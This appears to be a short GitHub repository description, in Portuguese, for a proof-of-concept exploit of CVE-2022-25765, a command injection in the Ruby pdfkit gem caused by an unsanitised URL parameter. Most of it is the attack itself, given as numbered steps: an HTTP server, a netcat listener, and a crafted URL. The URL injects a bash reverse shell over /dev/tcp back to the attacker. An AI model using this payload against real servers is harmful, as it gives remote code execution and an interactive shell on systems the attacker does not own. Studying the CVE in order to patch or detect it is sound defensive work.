lekosbelas/pdfkit-cmd-injectionExploração de prova de conceito para CVE-2022-25765 demonstrando injeção de comando no pdfkit 0.8.6 via parâmetro de URL não sanitizado, permitindo execução remota de código e shell reverso.
O pacote pdfkit da versão 0.0.0 é vulnerável a Injeção de Comandos, pois a URL não é devidamente sanitizada.
1- python3 -m http.server 80
2- nc -lnvp 'Target Port'
3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}